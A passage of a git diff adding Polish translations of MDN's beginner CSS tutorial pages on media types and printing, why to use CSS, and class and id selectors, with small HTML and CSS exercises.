padding-bottom: .16em;">The oceans</p> +<ul style=""> +<li>Arctic</li> +<li>Atlantic</li> +<li>Pacific</li> +<li>Indian</li> +<li>Southern</li> +</ul> +</td></tr></tbody></table> +<p>Jeżeli Twoja przeglądarka obsługuje liczniki, zmień swój arkusz stylów, aby identyfikował nagłówki dużymi literami w takim stylu: +</p> +<table style="border: 2px outset #36b; padding: 0 6em 1em 1em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(A) The oceans</p> +<p><b>. . .</b> +</p> +<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em;">(B) Numbered paragraphs</p> +<p><b>. . .</b> +</p> +</td></tr></tbody></table> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Kiedy Twoja przeglądarka wyświetla przykładowy dokument, tworzy przy okazji przestrzeń dookoła elementów, które określają ich rozkład na stronie. +</p><p>Następna strona opisuje, jak można użyć CSS do pracy z przestrzenią wokół elementów: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Bloki">Bloki</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/Lists", "fr": "fr/CSS/Premiers_pas/Listes", "pt": "pt/CSS/Como_come\u00e7ar/Listas" } ) }} diff --git a/files/pl/web/css/na_początek/media/index.html b/files/pl/web/css/na_początek/media/index.html new file mode 100644 index 0000000000..ef6c87f8cf --- /dev/null +++ b/files/pl/web/css/na_początek/media/index.html @@ -0,0 +1,318 @@ +--- +title: Media +slug: Web/CSS/Na_początek/Media +tags: + - 'CSS:Na_początek' +translation_of: Web/Progressive_web_apps/Responsive/Media_types +--- +<p> +</p><p>Wiele stron tego kursu skupiało się na własnościach i wartościach CSS, których możesz użyć do określania wyglądu dokumentu. +</p><p>Ta strona wraca do tematu przeznaczenia i struktury arkuszy stylów. +</p> +<h3 id="Informacja:_Media" name="Informacja:_Media"> Informacja: Media </h3> +<p>Przeznaczeniem CSS-u jest określanie jak dokumentu mają być prezentowane użytkownikowi. +Prezentacja może przyjąć wiele różnych form. +</p><p>Na przykład prawdopodobnie czytasz tę stronę na jakimś urządzeniu wyświetlającym. Ale możesz również chcieć wyświetlić ją na ekranie dla większego grona odbiorców lub wydrukować ją. +To są różne media o różnych charakterystykach. +CSS daje możliwość prezentowania dokumentu w różny sposób dla różnych mediów. +</p><p>Aby zdefiniować regułę, która będzie dotyczyła tylko określonego typu mediów, użyj <code>@media</code> z typem mediów oraz klamrami obejmującymi reguły, których ma to dotyczyć. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> +<caption>Przykład +</caption><tbody><tr> +<td> Dokument na stronie WWW posiada pole nawigacyjne pozwalające użytkownikowi poruszać się po stronie. +<p>W języku znaczników element rodzica pola nawigacyjnego ma id <code>nav-area</code>. +</p><p>Kiedy dokument jest drukowany, pole nawigacyjne nie ma żadnego zastosowania, więc arkusz stylów usuwa je w całości: +</p> +<div style="width: 30em;"> +<p>@media print { +</p> +<pre class="eval"> #nav-area {display: none;} + } +</pre> +</div> +</td></tr></tbody></table> +<p>Niektóre z popularnych typów mediów: +</p> +<table style="margin-left: 2em;"> +<tbody><tr> +<td><code>screen</code></td><td>Kolorowy wyświetlacz komputera +</td></tr> +<tr> +<td><code>print</code></td><td>Wyświetlanie na stronach +</td></tr> +<tr> +<td style="padding-right: 1em;"><code>projection</code></td><td>Wyświetlane podczas projekcji +</td></tr> +<tr> +<td><code>all</code></td><td>Wszystkie media (domyślne) +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Istnieją też inne sposoby określenia docelowych mediów. +<p>Język znaczników dokumentu może pozwalać na określenie typu mediów w odnośniku wiążącym arkusz stylów z dokumentem. Na przykład w HTML-u możesz opcjonalnie określić typ mediów w atrybucie <code>media</code> w znaczniku <code>LINK</code>. +</p><p>W CSS możesz użyć <code>@import</code> na początku arkusza stylów, aby zaimportować inny arkusz stylów z podanego adresu URL, opcjonalnie podając też typ mediów. +</p><p>Dzięki wykorzystaniu tych technik możesz rozdzielić reguły stylów dla różnych typów mediów do różnych plików. Może to być czasem przydane do ułożenia struktury Twojego dokumentu. +</p><p>Aby dowiedzieć się więcej na temat typów mediów, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/media.html">Media</a> w specyfikacji CSS. +</p><p>Istnieje więcej przykładów wykorzystania własności <code>display</code> na dalszej stronie kursu: <a href="pl/CSS/Na_pocz%c4%85tek/Dane_XML">Dane XML</a>. +</p> +</td></tr></tbody></table> +<h4 id="Drukowanie" name="Drukowanie"> Drukowanie </h4> +<p>CSS posiada specyficzne własności przeznaczone dla mediów stronicowych. +</p><p>Reguła <code>@page</code> może ustawiać marginesy strony. +Aby ustawić drukowanie dwustronne, możesz określić marginesy osobno dla <code>@page:left</code> oraz <code>@page:right</code>. +</p><p>Dla mediów stronicowych zazwyczaj należy używać odpowiednich jednostek długości takich jak cale (<code>in</code>), punkty (<code>pt</code>) = 1/72 cala), centymetry (<code>cm</code>) lub milimetry (<code>mm</code>). Równie dobrze możesz używać ems (<code>em</code>), aby dopasować się do rozmiaru czcionki, oraz procentów (<code>%</code>). +</p><p>Możesz kontrolować, jak zawartość dokumentu jest przełamywana na strony, przy użyciu własności <code>page-break-before</code>, <code>page-break-after</code> i <code>page-break-inside</code>. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> +<caption>Przykład +</caption><tbody><tr> +<td> Ta reguła ustawia margines strony na jeden cal dla każdej strony: +<div style="width: 30em;"> +<p>@page {margin: 1in;} +</p> +</div> +<p>Ta reguła zapewnia, że każdy element <small>H!</small> zaczyna się na nowej stronie: +</p> +<div style="width: 30em;"> +<p>h1 {page-break-before: always;} +</p> +</div> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Aby dowiedzieć się więcej o obsłudze mediów stronicowych, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/page.html">Media stronicowe</a> w specyfikacji CSS. +<p>Drukowanie, podobnie jak inne funkcje CSS, zależy od Twojej przeglądarki i jej ustawień. +Na przykład przeglądarka Mozilla ustawia domyślne marginesy, nagłówki i stopkę podczas druku. +Raczej nie będziesz w stanie przewidzieć ustawień przeglądarek innych użytkowników drukujących Twój dokument &mbdash; nie masz możliwości w pełni kontrolować wyniku. +</p> +</td></tr></tbody></table> +<h4 id="Interfejsy_u.C5.BCytkownika" name="Interfejsy_u.C5.BCytkownika"> Interfejsy użytkownika </h4> +<p>CSS ma pewne specjalne własności przeznaczone dla urządzeń obsługujących interfejs użytkownika, takich jak wyświetlacz komputera. To sprawia, że widok dokumentu zmienia się dynamicznie w trakcie pracy użytkownika z interfejsem. +</p><p>Nie istnieje osobny typ mediów dla urządzeń z interfejsem użytkownika. +</p><p>Istnieje pięć specjalnych selektorów: +</p> +<table style="margin-left: 2em;"> +<tbody><tr> +<td style="width: 10em;"><strong>Selektor</strong></td><td><strong>Wybiera</strong> +</td></tr> +<tr> +<td><code>E:hover</code></td><td>Dowolny element E, nad którym znajduje się wskaźnik +</td></tr> +<tr> +<td><code>E:focus</code></td><td>Dowolny element E, który jest w danym momencie aktywny dla interfejsu +</td></tr> +<tr> +<td><code>E:active</code></td><td>Element E, który jest wykorzystywany w aktualnie wykonywanej akcji użytkownika +</td></tr> +<tr> +<td><code>E:link</code></td><td>Dowolny element E, który jest odnośnikiem do strony której użytkownik <i>nie</i> odwiedzał ostatnio +</td></tr> +<tr> +<td><code>E:visited</code></td><td>Dowolny element E, który jest odnośnikiem do adresu URL, który użytkownik <i>odwiedził</i> niedawno +</td></tr></tbody></table> +<p>Własność <code>cursor</code> określa kształt wskaźnika; niektóre z podstawowych kształtów podane są poniżej. Umieść kursor myszy nad elementami na tej liście, aby zobaczyć jak wygląda podany kursor: +</p> +<table style="margin-left: 2em;"> +<tbody><tr> +<td style="width: 10em;"><strong>Selektor</strong></td><td><strong>Wybiera</strong> +</td></tr> +<tr style="cursor: pointer;"> +<td><code>pointer</code></td><td>Wskazuje odnośnik +</td></tr> +<tr style="cursor: wait;"> +<td><code>wait</code></td><td>Wskazuje, że program nie może przyjmować danych +</td></tr> +<tr style="cursor: progress;"> +<td><code>progress</code></td><td>Wskazuje, że program w tej chwili pracuje, ale może przyjmować dane od użytkownika +</td></tr> +<tr style="cursor: default;"> +<td><code>default</code></td><td>Domyślny (zazwyczaj strzałka) +</td></tr></tbody></table> +<p>Własność <code>outline</code> tworzy zewnętrzną linię, która zazwyczaj jest używana do oznaczenia pola aktywnego dla klawiatury. +Jej wartości są podobne do własności <code>border</code>, poza tym, że nie możesz określać osobno wartości dla poszczególnych boków. +</p><p>Kilka innych funkcji interfejsu użytkownika zostało zaimplementowanych przy użyciu atrybutów w tradycyjny sposób. Na przykład elementy, które są nieaktywne albo w trybie tylko do odczytu posiadają atrybut <code>disabled</code> lub <code>readonly</code>. +Selektory mogą określać takie atrybuty podobnie jak każde inne — poprzez użycie prostokątnych nawiasów: <code>{{ mediawiki.external('disabled') }}</code> lub <code>{{ mediawiki.external('readonly') }}</code>. +</p><p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> +<caption>Przykład +</caption><tbody><tr> +<td> Te reguły określają style dla przycisku, który zmienia się dynamicznie, kiedy użytkownik na nim operuje: +<div style="width: 30em;"><pre> +.green-button { + background-color:#cec; + color:#black; + border:2px outset #cec; + } + +.green-button[disabled] { + background-color:#cdc; + color:#777; + } + +.green-button:active { + border-style: inset; + } +</pre></div> +<p>To wiki nie obsługuje interfejsu użytkownika na tej stronie, zatem przyciski nie mogą być *klikalne*. Poniżej znajdują się statyczne obrazki ilustrujące ideę: +</p> +<table style="border: 2px outset #36b; padding: 1em; background-color: #fff;"> +<tbody><tr> +<td> +<table> +<tbody><tr> +<td><span style="width: 8em; height: 2em; background-color: #cdc; color: #777; padding: .5em 1em; cursor: default; margin-right: 1em; border: 2px outset #cec;">Click Me</span> +</td><td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px outset #cec;">Click Me</span> +</td><td><span style="width: 8em; height: 2em; background-color: #cec; padding: .5em 1em; cursor: move; margin-right: 1em; border: 2px inset #cec;">Click Me</span> +</td></tr> +<tr style="line-height: 25%;"> +<td> +</td></tr> +<tr style="font-style: italic;"> +<td>disabled</td><td>normal</td><td>active +</td></tr></tbody></table> +</td></tr></tbody></table> +<p>W pełni funkcjonalny przycisk posiada dodatkowo ciemną linię wokół całego przycisku, kiedy jest on domyślny, oraz kropkowaną linię na przycisku, kiedy jest on aktywny dla klawiatury. Może także posiadać efekt aktywizacji, kiedy wskaźnik znajduje się nad nim. +</p> +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Aby dowiedzieć się więcej o interfejsach użytkownika w CSS, zobacz stronę <a class="external" href="http://www.w3.org/TR/CSS21/ui.html">User interface</a> w specyfikacji CSS. +<p>Istnieje też przykład napisany w języku znaczników Mozilli, XUL-u, w drugiej części tego kursu. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Drukowanie_dokumentu" name="Zadanie:_Drukowanie_dokumentu"> Zadanie: Drukowanie dokumentu </h3> +<p>Stwórz nowy dokument HTML, <code>doc4.html</code>. +Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> + +<HEAD> +<TITLE>Print sample</TITLE> +<LINK rel="stylesheet" type="text/css" href="style4.css"></strong> +</HEAD> + +<BODY> +<H1>Section A</H1> +<P>This is the first section...</P> + +<H1>Section B</H1> +<P>This is the second section...</P> + +<DIV id="print-head"> +Heading for paged media +</DIV> + +<DIV id="print-foot"> +Page: +</DIV> + +</BODY> +</HTML> +</pre></div> +<p>Stwórz nowy arkusz stylów, <code>style4.css</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** Print sample ***/ + +/* defaults for screen */ +#print-head, +#print-foot { + display: none; + } + +/* print only */ +@media print { + +h1 { + page-break-before: always; + padding-top: 2em; + } + +h1:first-child { + page-break-before: avoid; + counter-reset: page; + } + +#print-head { + display: block; + position: fixed; + top: 0pt; + left:0pt; + right: 0pt; + + font-size: 200%; + text-align: center; + } + +#print-foot { + display: block; + position: fixed; + bottom: 0pt; + right: 0pt; + + font-size: 200%; + } + +#print-foot:after { + content: counter(page); + counter-increment: page; + } + +} /* end print only */ +</pre></div> +<p>Kiedy oglądasz ten dokument w swojej przeglądarce, używa on domyślnego stylu przeglądarki. +</p><p>Kiedy drukujesz go (lub oglądasz podgląd wydruku), arkusz stylów umieszcza każdą sekcję na osobnej stronie oraz dodaje nagłówek i stopkę do każdej strony. Jeżeli Twoja przeglądarka obsługuje także liczniki, dodaje numer strony w stopce. +</p> +<table> +<tbody><tr> +<td> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td> +<table style="width: 15em; margin-right: 2em;"> +<tbody><tr> +<td><div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Heading</div> +<div style="font-size: 150%; font-weight: bold;">Section A</div> +<div style="font-size: 75%;">This is the first section...</div> +<div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 1</div> +</td></tr></tbody></table> +</td></tr></tbody></table> +</td><td> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td> +<table style="width: 15em; margin-right: 2em;"> +<tbody><tr> +<td><div style="font-size: 150%; text-align: center; margin-bottom: .5em;">Heading</div> +<div style="font-size: 150%; font-weight: bold;">Section B</div> +<div style="font-size: 75%;">This is the second section...</div> +<div style="font-size: 150%; text-align: right; margin-top: 12em;">Page: 2</div> +</td></tr></tbody></table> +</td></tr></tbody></table> +</td></tr></tbody></table> +<p><br> +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; width: 100%;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Przesuń reguły stylu dotyczące drukowania do osobnego pliku CSS. +<p>Użyj wcześniejszych odnośników na tej stronie, aby znaleźć informacje w specyfikacji CSS. Znajdź szczegóły na temat, jak importować nowy plik CSS do swojego arkusza stylów. +</p><p>Spraw, aby nagłówek stawał się niebieski, kiedy kursor myszy znajdzie się nad nim. +</p> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Na razie wszystkie reguły stylów w tym kursie znajdowały się w plikach. Reguły i ich wartości są stałe. Następna strona opisuje, jak można modyfikować reguły dynamicznie, używając języka programowania: <b><a href="pl/CSS/Na_pocz%c4%85tek/JavaScript">JavaScript</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/Media", "fr": "fr/CSS/Premiers_pas/M\u00e9dias", "pt": "pt/CSS/Como_come\u00e7ar/M\u00eddia" } ) }} diff --git a/files/pl/web/css/na_początek/po_co_używać_css/index.html b/files/pl/web/css/na_początek/po_co_używać_css/index.html new file mode 100644 index 0000000000..73fb92e4cb --- /dev/null +++ b/files/pl/web/css/na_początek/po_co_używać_css/index.html @@ -0,0 +1,85 @@ +--- +title: Po co używać CSS +slug: Web/CSS/Na_początek/Po_co_używać_CSS +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p> +</p><p>Ta strona tłumaczy, do czego dokumenty wykorzystują CSS. +Używając CSS dodasz do swojego dokumentu arkusz stylów. +</p> +<h3 id="Informacja:_Po_co_u.C5.BCywa.C4.87_CSS.3F" name="Informacja:_Po_co_u.C5.BCywa.C4.87_CSS.3F"> Informacja: Po co używać CSS? </h3> +<p>CSS pomaga utrzymać treść dokumentu oddzieloną od informacji o tym, jak należy ją wyświetlać. Szczegóły opisujące, jak należy wyświetlać dokument, są znane jako <i>styl</i>. Utrzymywanie rozdzielenia treści od wyglądu: +</p> +<ul><li> pozwala uniknąć powtórzeń, +</li><li> ułatwia zarządzanie dokumentem, +</li><li> umożliwia wykorzystywanie różnych stylów do różnych celów w jednym dokumencie. +</li></ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Twoja strona WWW może mieć wiele dokumentów wyglądających podobnie. Korzystając z CSS, przechowujesz informacje o wyglądzie w osobnych plikach używanych we wszystkich dokumentach. +<p>Kiedy użytkownik ogląda stronę WWW, przeglądarka pobiera informacje o stylach równolegle z treścią strony. +</p><p>Kiedy użytkownik drukuje stronę, można mu dostarczyć inne informacje o stylu, które sprawią, że wydrukowany dokument będzie bardziej czytelny. +</p> +</td></tr></tbody></table> +<p>Ogólnie rzecz biorąc, dzięki CSS język znaczników jest wykorzystywany wyłącznie do opisu treści dokumentu, a nie jego stylu. CSS jest zaś używany do opisu stylu, nie treści. (Dalej w tym kursie będzie można zobaczyć pewne wyjątki od tej reguły.) +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Język znaczników, taki jak HTML, również dostarcza pewnych mechanizmów opisu stylów. Na przykład w HTML-u można użyć znacznika <code><B></code>, aby pogrubić tekst albo określić kolor tła strony w znaczniku <code><BODY></code>. +<p>Kiedy używasz CSS, zazwyczaj unikasz stosowania tych funkcji języka znaczników, aby trzymać wszystkie informacje o stylu dokumentu w jednym miejscu. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Tworzenia_arkusza_styl.C3.B3w" name="Zadanie:_Tworzenia_arkusza_styl.C3.B3w"> Zadanie: Tworzenia arkusza stylów </h3> +<p>Stwórz inny plik tekstowy w tym samym katalogu, co poprzednio. +Ten plik będzie arkuszem stylów. +Nazwij go: <code>style1.css</code> +</p><p>Skopiuj poniższą linię i wklej ją do pliku CSS, a następnie zapisz ten plik: +</p> +<div style="width: 40em;"> +<p>strong {color: red;} +</p> +</div> +<h4 id="Wi.C4.85zanie_arkusza_styl.C3.B3w_do_dokumentu" name="Wi.C4.85zanie_arkusza_styl.C3.B3w_do_dokumentu"> Wiązanie arkusza stylów do dokumentu </h4> +<p>Aby powiązać swój dokument z arkuszem stylów, wyedytuj plik HTML. +Dodaj pogrubioną linię: +</p> +<div style="width: 40em; color: gray;"> +<pre class="eval"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> + <HEAD> + <TITLE>Sample document</TITLE> + <strong style="color: black;"><LINK rel="stylesheet" type="text/css" href="style1.css"></strong> + </HEAD> + <BODY> + <P> + <STRONG>C</STRONG>ascading + <STRONG>S</STRONG>tyle + <STRONG>S</STRONG>heets + </P> + </BODY> +</HTML> +</pre> +</div> +<p>Zapisz ten plik i odśwież widok w swojej przeglądarce. +Ten arkusz stylów sprawia, że pierwsze litery są czerwone: +</p> +<table style="border: 2px outset #36b; padding: 1em;"> +<tbody><tr> +<td> <strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Poza czerwonym, CSS pozwala używać innych nazw kolorów. +<p>Bez patrzenia w dokumentację znajdź pięć innych nazw kolorów, które działają w Twoim arkuszu stylów. +</p> +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Teraz masz już przykładowy dokument powiązany z osobnym arkuszem stylów, jesteś zatem gotów do zrozumienia, jak przeglądarka wiąże je podczas wyświetlania dokumentu: +<b><a href="pl/CSS/Na_pocz%c4%85tek/Jak_dzia%c5%82a_CSS">Jak działa CSS</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/Why_use_CSS", "fr": "fr/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "it": "it/Conoscere_i_CSS/Perch\u00e9_usare_i_CSS", "ja": "ja/CSS/Getting_Started/Why_use_CSS", "pt": "pt/CSS/Como_come\u00e7ar/Porque_usar_CSS", "zh-cn": "cn/CSS/Getting_Started/Why_use_CSS" } ) }} diff --git a/files/pl/web/css/na_początek/selektory/index.html b/files/pl/web/css/na_początek/selektory/index.html new file mode 100644 index 0000000000..521a92b641 --- /dev/null +++ b/files/pl/web/css/na_początek/selektory/index.html @@ -0,0 +1,259 @@ +--- +title: Selektory +slug: Web/CSS/Na_początek/Selektory +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/Building_blocks/Selectors +--- +<p>Ta strona jest częścią piątą kursu <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Getting_Started">CSS Getting Started</a>. Wyjaśnia ona jak możesz używać stylów selektywnie, i jak różne typy selektorów mają różne priorytety. Dodasz pewne atrybuty do znaczników w swoim przykładowym dokumencie oraz użyjesz w nim tych atrybutów.</p> + +<h3 id="Informacja:_Selektory" name="Informacja:_Selektory">Informacja: Selektory</h3> + +<p>CSS posiada własną terminologię do opisania języka CSS. Poprzednio w trakcie tego kursu stworzyłeś(aś) linię w swoim arkuszu stylów w ten sposób:</p> + +<div style="width: 30em;"> +<pre>strong { + color: red; +} +</pre> +</div> + +<p>W terminologii CSS cała ta linia jest <em>regułą</em>. Ta reguła zaczyna się od <code>strong</code>, który jest <em>selektorem</em>. Wybiera, które elementy w drzewie DOM będą używały tej reguły.</p> + +<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;"> + <tbody> + <tr> + <td> + <p><strong>Więcej szczegółów</strong><br> + Część wewnątrz nawiasów klamrowych nazywamy się <em>deklaracją</em>.</p> + + <p>Słowo kluczowe <code>color</code> jest <em>własnością</em>, a <code>red</code> jest <em>wartością</em>.</p> + + <p>Średnik po parze własność-wartość oddziela ją od innych par własność-wartość w tym samym opisie.</p> + + <p>Ten kurs odwołuje się do selektorów takich jak <code>strong</code> jako selektorów <em>znaczników</em>. Specyfikacja CSS odwołuje się do nich jako selektorów <em>typu</em>.</p> + </td> + </tr> + </tbody> +</table> + +<p>Ta strona kursu wyjaśnia więcej na temat selektorów, których możesz używać w regułach CSS.</p> + +<p>Dodatkowo do nazw znaczników możesz używać wartości atrybutów w selektorach. To pozwala sprecyzować Twoje reguły.</p> + +<p>Dwa atrybuty posiadają specjalny status w CSS. Są to <code>class</code> oraz <code>id</code>.</p> + +<h3 id="Selektor_class">Selektor class</h3> + +<p>Użycie atrybutu <code>class</code> w znaczniku przypisuje znacznikowi nazwaną klasę. Ty decydujesz jak ją nazwiesz.</p> + +<p>W swoim arkuszu stylów wpisz kropkę przed nazwą klasy, kiedy używasz jej w selektorze.</p> + +<h3 id="Selektor_ID">Selektor ID</h3> + +<p>Użycie atrybutu <code>id</code> w znaczniku przypisuje id do znacznika. Ty decydujesz, jakie <code>id</code> mu nadasz. Nazwa <code>id</code> musi być unikalna w dokumencie.</p> + +<p>W swoim arkuszu stylów wpisz znak numeru ("płotek" (ang. hash)) przed tym <code>id</code>, kiedy używasz go w selektorze.</p> + +<table style="background-color: #ffffee; border: 1px solid #3366bb; padding: 1em;"> + <tbody> + <tr> + <td> + <p><strong>Przykłady</strong><br> + Ten znacznik HTML posiada zarówno atrybut <code>class</code>, jak i <code>id</code>:</p> + + <div style="width: 30em;"> + <pre> +<p class="key" id="principal"> +</pre> + </div> + + <p>Id, <code>principal</code>, musi być unikalne w dokumencie, lecz inne znaczniki mogą używać tej samej nazwy klasy <code>key</code>.</p> + + <p>W arkuszu stylów CSS ta reguła powoduje, że wszystkie elementy klasy <code>key</code> staną się zielone. (Nie wszystkie muszą być elementami <small>P</small>.)</p> + + <div style="width: 30em;"> + <pre> +.key { + color: green; +} +</pre> + </div> + + <p>Ta reguła powoduje, że jeden element o id <code>principal</code> zostanie pogrubiony:</p> + + <div style="width: 30em;"> + <pre> +#principal { + font-weight: bolder; +} +</pre> + </div> + </td> + </tr> + </tbody> +</table> + +<p>Jeżeli więcej niż jedna reguła odnosi się do elementu i określa tę samą własność, wtedy CSS nadaje priorytet regule, która posiada bardziej szczegółowy selektor. Selektor id jest bardziej szczegółowy od selektora klasy, który z kolei jest bardziej szczegółowy od selektora znacznika.</p> + +<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;"> + <caption>Więcej szczegółów</caption> + <tbody> + <tr> + <td>Możesz też mieszać selektory, czyniąc je bardziej szczegółowymi. + <p>Na przykład selektor <code>.key</code> wybiera wszystkie elementy, które mają klasę o nazwie <code>key</code>. Selektor <code>p.key</code> wybiera tylko elementy P, które mają klasę o nazwie <code>key</code>.</p> + + <p>Nie jesteś ograniczony(a) do dwóch specjalnych atrybutów, <code>class</code> i <code>id</code>. Możesz określać inne atrybuty poprzez użycie nawiasów kwadratowych. Na przykład selektor <code>{{ mediawiki.external('type=button') }}</code> wybiera wszystkie elementy, które mają atrybut <code>type</code> o wartości <code>button</code>.</p> + + <p>W dalszej części kursu (<a href="/pl/CSS/Na_pocz%C4%85tek/Tabele" title="pl/CSS/Na_początek/Tabele">Tabele</a>) można znaleźć informacje na temat złożonych selektorów opartych na wzajemnych relacjach.</p> + + <p>Aby dowiedzieć się więcej o selektorach, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/selector.html">Selektory</a> w specyfikacji CSS.</p> + </td> + </tr> + </tbody> +</table> + +<p>Jeżeli arkusz stylów posiada sprzeczne reguły i są one równie szczegółowe, wtedy CSS nadaje wyższy priorytet regule, która występuje później w arkuszu stylów.</p> + +<p>Gdy napotkasz problem ze sprzecznymi regułami, spróbuj rozwiązać go poprzez ustawienie jednej z reguł jako bardziej szczegółowej, aby można im było nadać priorytety. Jeżeli nie możesz tego zrobić, spróbuj przesunąć jedną z reguł bliżej końca arkusza stylów, aby nadać jej wyższy priorytet.</p> + +<h3 id="Zadanie:_U.C5.BCywanie_selektor.C3.B3w_class_i_id" name="Zadanie:_U.C5.BCywanie_selektor.C3.B3w_class_i_id">Zadanie: Używanie selektorów class i id</h3> + +<p>1. Wyedytuj swój plik HTML i zduplikuj akapit poprzez skopiowanie i wklejenie go.<br> + 2. Następnie dodaj atrybuty <strong>id</strong> i <strong>class</strong> do pierwszej kopii, a potem <strong>id</strong> do drugiej:</p> + +<div style="width: 48em; color: gray;"> +<pre><code><!doctype html> +<html> + <head> + <meta charset="UTF-8"> + <title>Sample document</title> + <link rel="stylesheet" href="style1.css"> + </head> + <body> + <p id="first"> + <strong class="carrot">C</strong>ascading + <strong class="spinach">S</strong>tyle + <strong class="spinach">S</strong>heets + </p> + <p id="second"> + <strong>C</strong>ascading + <strong>S</strong>tyle + <strong>S</strong>heets + </p> + </body> +</html</code></pre> +</div> + +<p>Teraz wyedytuj swój plik CSS. Zamień całą treść na:</p> + +<div style="width: 40em;"> +<pre><code>strong { color: red; } +.carrot { color: orange; } +.spinach { color: green; } +#first { font-style: italic; }</code></pre> +</div> + +<p>Odśwież okno przeglądarki, aby zobaczyć wynik:</p> + +<table style="background-color: white; border: 2px outset #3366bb; padding: 1em;"> + <tbody> + <tr> + <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td> + </tr> + <tr> + <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td> + </tr> + </tbody> +</table> + +<p>Możesz zmieniać kolejność linii w pliku CSS, aby zobaczyć, że kolejność nie ma wpływu na wynik.</p> + +<p>Selektory klas <code>.carrot</code> oraz <code>.spinach</code> mają priorytety nad selektorem znaczników <code>strong</code>.</p> + +<p>Selektor id <code>#first</code> ma priorytet nad selektorami klas i znaczników.</p> + +<table style="background-color: #fffff4; border: 1px solid #3366bb; padding: 1em;"> + <caption>Wyzwanie</caption> + <tbody> + <tr> + <td>Bez zmieniania pliku HTML dodaj do pliku CSS pojedyncze reguły, które sprawią, że wszystkie początkowe litery będą nadal tego samego koloru, ale cały pozostały tekst w drugim akapicie stanie się niebieski: + <table style="border: 2px outset #3366bb; padding: 1em;"> + <tbody> + <tr> + <td style="font-style: italic;"><strong style="color: orange;">C</strong>ascading <strong style="color: green;">S</strong>tyle <strong style="color: green;">S</strong>heets</td> + </tr> + <tr> + <td style="color: blue;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td> + </tr> + </tbody> + </table> + + <p>Teraz zmień regułę, którą właśnie dodałeś(aś) (bez zmieniania czegokolwiek innego), aby pierwszy akapit też był niebieski:</p> + + <table style="background-color: white; border: 2px outset #3366bb; padding: 1em;"> + <tbody> + <tr> + <td style="font-style: italic; color: blue;"><strong style="color: 